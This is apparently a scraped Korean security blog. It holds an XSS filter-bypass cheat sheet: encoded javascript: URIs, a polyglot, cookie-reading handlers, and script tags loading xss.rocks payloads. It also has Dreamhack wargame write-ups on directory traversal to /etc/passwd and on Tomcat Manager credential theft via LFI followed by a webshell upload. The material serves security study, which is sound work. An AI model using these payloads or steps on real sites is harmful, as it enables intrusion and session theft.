<XSS STYLE="xss:expression(alert('XSS'))">

 

  • 로컬 .htc 파일을 이용한 XSS
  • .htc(HTML Components) 파일을 로드하여 JavaScript를 실행하는 방식.
  • 같은 도메인에서 .htc 파일을 로드해야 하므로, 공격자는 피해자의 서버에 업로드할 수 있어야 함.
<XSS STYLE="behavior: url(xss.htc);">

 

 

 

 

이어서....

 

 

XSS 로케이터(Polyglot)

  • 여러 컨텍스트에서 실행되는 다목적 XSS 페이로드.
  • HTML, JavaScript, URL 인코딩 등의 다양한 환경에서 동작 가능.
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
  • javascript: 스키마는 브라우저에서 JavaScript 실행을 유도하는 URL 스키마
  • /*-->는 주석을 닫는 시퀀스이지만, 일부 필터가 -->를 허용하는 경우를 노린 우회 기법
  • <title>, <style>, <textarea>, <script>, <xmp> 등의 태그는 보통 브라우저가 특별한 방식으로 해석함.
    • 예를 들어 <script> 내부에서는 HTML이 해석되지 않음.
    • <textarea> 내부에서는 브라우저가 HTML 태그를 일반 텍스트로 처리.
    • <xmp> 태그도 HTML을 일반 텍스트로 해석함.
  • 따라서 이러한 태그를 닫으면서 XSS 필터링을 우회하고, HTML 코드 실행을 유도할 수 있음.
  • <svg> 태그는 JavaScript 이벤트 핸들러를 실행할 수 있는 태그 중 하나.
  • onload 속성을 사용하여 JavaScript 실행을 유도.
  • 페이로드 분석:
    • onload='+/"/+/onmouseover=1/+/[*/[]/+alert(42);//'`
    • +/"/+/` 등의 기법은 문자열 필터를 우회하려는 목적으로 사용됨.
    • onmouseover=1/+/ → onmouseover 이벤트를 추가하여 실행 가능성을 높임.
    • [*/[]/+alert(42);//' → 일부 브라우저가 alert(42);를 해석하도록 함.

 

 

 

잘못된 A 태그 이용

  • <a> 태그 내 이벤트 핸들러 (onmouseover)를 활용한 공격.
  • 일부 브라우저에서는 자동으로 따옴표를 추가하여 필터를 우회할 수 있음.
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
  • <a> 태그에 onmouseover 속성을 추가하여, 사용자가 링크에 마우스를 올리면 alert(document.cookie)가 실행됨.
  • 따옴표(", ') 없이 onmouseover 속성에 alert(document.cookie)를 직접 삽입.
  • 브라우저는 속성 값을 자동으로 해석하므로 따옴표 없이도 실행 가능.
  • 일부 XSS 필터가 따옴표를 기준으로 필터링할 경우 이를 우회하는 기법으로 사용됨.

 

 

 

잘못된 IMG 태그

  • <IMG> 태그 내에서 JavaScript 실행을 유도.
  • 따옴표가 누락된 경우에도 브라우저가 자동 수정할 수 있음.
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  • <IMG> 태그는 src 속성을 포함해야 하지만, 이 코드에는 src가 없음.
  • """> → 속성 값이 없는 빈 따옴표(""), >를 통해 속성을 닫으려는 시도.
  • 일부 브라우저는 잘못된 HTML을 자동으로 수정하면서 > 이후의 내용을 새로운 태그로 해석할 수 있음.
    • 즉, <SCRIPT> 태그가 독립적으로 실행될 가능성이 있음.
    • "> → 일부 브라우저가 속성 닫힘을 보정하며 <SCRIPT> 태그를 독립적으로 해석할 가능성이 있음.
    • 결과적으로 브라우저가 코드를 다음과 같이 처리할 수도 있음

 

 

 

CharCode를 이용한 필터 우회

  • String.fromCharCode()를 사용하여 JavaScript 코드 실행.
  • 따옴표가 허용되지 않는 환경에서 사용 가능.
<a href="javascript:alert(String.fromCharCode(88,83,83))">Click Me!</a>
  • <a> 태그의 href 속성에 javascript:를 사용하면, 사용자가 링크를 클릭할 때 JavaScript 코드가 실행됨.
  • 이벤트 핸들러 없이 XSS를 실행하는 방법 중 하나로, 일부 필터가 onmouseover, onclick 등의 이벤트만 차단하는 경우 이를 우회하는 데 사용될 수 있음.
  • String.fromCharCode(88,83,83)는 ASCII 코드(문자 코드)를 문자열로 변환하는 JavaScript 함수.
  • 88, 83, 83은 각각 **'X', 'S', 'S'**에 해당하므로 실행 결과는 "XSS"가 됨.

 

브라우저 href="javascript:..." src="javascript:..." (iframe) window.open("javascript:...") 주소창에 입력
Chrome (>=80) ✅ (가능) ❌ (차단됨) ❌ (차단됨) ❌ (차단됨)
Firefox (>=70) ✅ (가능) ❌ (차단됨) ❌ (차단됨) ❌ (차단됨, 설정 변경시 가능)
Edge ✅ (가능) ❌ (차단됨) ❌ (차단됨) ❌ (차단됨)
Safari (>=14) ✅ (가능) ❌ (차단됨) ❌ (차단됨) ❌ (차단됨)

 

 

 

 

SRC 필터를 우회하는 기본 IMG 태그

  • SRC 속성을 조작하여 이벤트 핸들러 실행.
  • <IMG> 태그의 onmouseover, onerror 등을 활용.
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
  • SRC=#는 사실상 무의미한 값이므로 브라우저는 이미지 로드 실패와 관계없이 onmouseover 이벤트를 실행.
  • SRC= (빈 값) → 대부분의 브라우저에서 현재 페이지 URL을 이미지 경로로 간주하여 요청하지만, onmouseover는 그대로 작동함.
  • SRC 속성이 없음 → 브라우저가 <IMG> 태그를 **렌더링 오류 이미지(깨진 이미지)**로 표시할 수 있음.
    • SRC 속성이 없어도 브라우저는 <IMG> 태그를 유효한 요소로 인식.

 

 

 

IMG onerror + JavaScript 인코딩

  • HTML 엔티티 인코딩을 사용하여 필터 우회.
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
  • onerror 속성 안의 값이 HTML 엔티티(10진수)로 인코딩된 JavaScript 코드임.
  • &#0000106; 같은 표현은 특정 ASCII 문자(예: j)를 나타냄.

    위 HTML 엔티티(10진수)를 디코딩하면 다음과 같은 자바스크립트 코드가 됨.

 

 

 

10진수 HTML 문자 참조

  • javascript: 스키마를 인코딩하여 필터를 우회.
  • &#106; 등의 HTML 코드 사용.
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">Click Me!</a>
  • href 속성값이 10진수 HTML 엔티티로 인코딩된 JavaScript 코드임.
    • 위 HTML 엔티티(10진수)를 디코딩하면 다음과 같은 자바스크립트 코드가 됨.

 

 

 

후행 세미콜론 없이 10진수 HTML 문자 참조

  • 일부 필터가 & 이후 ;로 끝나야 한다고 가정하는 점을 악용.
<a href="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">Click Me</a>
  • href 속성값이 0으로 패딩된 10진수 HTML 엔티티로 인코딩된 JavaScript 코드임.
    • 후행 세미콜론(;) 필터 우회 가능

 

 

 

후행 세미콜론 없이 16진수 HTML 문자 참조

  • 16진수 문자 참조를 활용하여 필터를 우회.
<a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29">Click Me</a>
  • href="..." 속성에 16진수 HTML 엔티티로 인코딩된 JavaScript 코드가 포함됨.
    • 후행 세미콜론(;) 필터 우회 가능

 

 

 

 

내장된 탭 (Embedded Tab)

  • javascript:를 포함한 XSS를 탐지하는 필터를 우회하기 위해 공백 또는 탭을 삽입.
  • 일부 필터는 javascript:를 연속된 문자열로 인식하므로, 사이에 탭을 삽입하면 탐지를 피할 수 있음.
<a href="jav   ascript:alert('XSS');">Click Me</a>

 

 

 

 

내장된 인코딩된 탭 (Embedded Encoded Tab)

  • 탭(\t)을 HTML 엔티티로 인코딩하여 필터를 우회.
  • &#x09;(탭 문자)를 삽입하면 브라우저가 이를 자동으로 디코딩하여 실행.
<a href="jav&#x09;ascript:alert('XSS');">Click Me</a>

 

 

 

내장된 줄바꿈을 이용한 JavaScript 분리

  • javascript: 문자열을 줄바꿈 문자(\n 또는 \r)로 분리하여 탐지를 우회.
  • ASCII 제어 문자 &#x0A;(줄바꿈) 및 &#x0D;(캐리지 리턴)를 활용.
<a href="jav&#x0A;ascript:alert('XSS');">Click Me</a>
<a href="jav&#x0D;ascript:alert('XSS');">Click Me</a>

 

 

 

Null 문자 (%00)를 이용한 JavaScript 지시문 분리

  • Null 문자(%00)는 일반적으로 문자열의 끝을 의미하지만, 일부 브라우저에서는 여전히 실행됨.
  • 특정 필터를 우회하기 위해 JavaScript 키워드 사이에 \0을 삽입.
<IMG SRC=java\0script:alert("XSS")>

 

 

 

JavaScript 앞의 공백 및 메타 문자 활용

  • javascript: 키워드 앞에 공백 또는 특수 문자를 삽입하여 필터링 우회.
  • 브라우저는 이를 무시하고 실행.
<a href=" &#14;  javascript:alert('XSS');">Click Me</a>

 

 

 

알파벳 및 숫자가 아닌 문자를 이용한 XSS

  • XSS 필터는 태그와 속성 사이의 공백을 요구하지만, 일부 브라우저는 특수 문자를 허용.
  • /, !, #, % 등의 문자를 활용하여 필터 우회.
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  • SCRIPT/XSS와 같이 슬래시(/)가 포함되어 있는데, 이는 일부 브라우저에서 무시될 수 있
  • 일부 웹 애플리케이션 필터는 <SCRIPT> 태그를 차단하지만, <SCRIPT/XSS>처럼 변형된 태그를 탐지하지 못할 수도
  • <BODY> 태그의 onload 속성은 페이지가 로드될 때 JavaScript를 실행하는 이벤트 핸들러
  • onload="alert('XSS')"처럼 정상적인 형태라면 XSS 필터에 의해 차단될 가능성이 높음.
  • 하지만 onload 속성과 등호(=) 사이에 특수문자를 삽입하여 필터를 우회하려고 시도.

 

 

 

스크립트 태그에서 프로토콜 확인 우회

  • <SCRIPT SRC="..."에서 http:// 대신 //를 사용하면 브라우저가 자동으로 현재 프로토콜을 적용.
  • .j 확장자를 사용하면 특정 브라우저에서 실행 가능.
<SCRIPT SRC=//xss.rocks/.j>
  • 일반적인 URL과 달리 http: 또는 https: 없이 //로 시작함.
  • 이는 **"스키마 상대 URL" (Protocol-relative URL)**이라고 불리며, 현재 사용 중인 프로토콜(HTTP 또는 HTTPS)을 자동으로 따라감.
  • 일반적인 JavaScript 파일 확장자는 .js이지만, .j 같은 변형을 사용하여 보안 필터를 우회할 수 있음.
  • 일부 웹 방화벽(WAF) 또는 필터링 시스템이 .js 파일만 차단하는 경우 .j를 사용하여 우회 가능.

 

 

 

열린 꺾쇠괄호 (<)을 활용한 필터 우회

  • 일부 탐지 엔진은 <SCRIPT> 태그를 찾을 때 완전한 문자열 매칭을 요구.
  • <<SCRIPT>와 같은 변형을 사용하여 우회 가능.
 
<<SCRIPT>alert("XSS");//\<</SCRIPT>

 

 

 

종료 태그 없이 XSS 실행

  • Firefox는 <SCRIPT> 태그의 종료(</SCRIPT>)를 자동으로 추가하는 특성이 있음.
  • 따라서 종료 태그 없이도 스크립트 실행 가능.
<SCRIPT SRC=http://xss.rocks/xss.js?< B >

 

 

 

 

이어서....

https://fight-hacker.tistory.com/33

 

XSS 필터링 우회2

이스케이프 문자 우회서버 측에서 따옴표를 이스케이프 처리해도, 이스케이프 문자를 활용하여 우회 가능.var a="\\\\";alert('XSS');//";JSON이나 JavaScript 이스케이프가 적용됐지만 HTML 인코딩이 적용되

fight-hacker.tistory.com

 

 

 

 

문제 코드 분석 ㄱ

간단한 파일을 생성하고 다운로드하는 웹 페이지 같다.

 

 

savedownload 엔드포인트에서 filename 값을 그대로 os.path.join()을 사용하여 파일 경로를 만들고 있다.

이 경우, 사용자가 ../../../etc/passwd 같은 값을 입력하면 filepath가 /etc/passwd와 같은 시스템 파일로 변경될 수 있다.

☞  디렉터리 트래버설 (Directory Traversal) 취약점

 

 

 

이 취약점을 사용해서 passwd  파일을 다운로드 시도

 

 

etc/passwd 파일이 정상적으로 다운로드 된 것을 확인

 

 

 

flag 파일의 경로를 몰라서 여러 시도를 해봤다

 

 

플래그 획득!

 

 

 

 

 

'웹 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] web-ssrf 문제 풀이  (0) 2025.03.13
[드림핵] Tomcat Manager 풀이  (0) 2024.10.29
[드림핵] [wargame.kr] tmitter 풀이  (0) 2024.10.29
[드림핵] CSP Bypass Advanced 풀이  (1) 2024.09.02

 

 

문제

간만에 재밌는 문제였다.

 

 

 

 

풀이

문제 이름 대로 tomcat manager 페이지에 접속 시도를 했지만 아이디와 비번이 필요했다.

 

 

 

문제 파일의 Docker 파일에서 manager 페이지의 계정 정보가 있는 파일의 절대 경로를 확인할 수 있었다.

 

 

메인페이지의 이미지를 로드하는 방식에서 LFI 취약점을 발견했다.

 

 

 

LFI 취약점으로 tomcat-users.xml 파일의 내용을 확인했다.

tomcat manager 페이지의 패스워드를 알아냈다.

 

 

 

이제 알아낸 계정으로 tomcat manager 페이지에 접속한다.

 

 

파일 업로드 기능을 이용해 웹쉘을 업로드한다.

 

 

웹쉘이 정상적으로 업로드된 걸 확인할 수 있다.

 

 

웹쉘로 flag 파일을 확인해보면 실행파일인 것을 알 수 있다.

 

 

'/flag'를 입력하면 flag 파일이 실행되어 flag가 출력된다.

 

 

 

 

+ Recent posts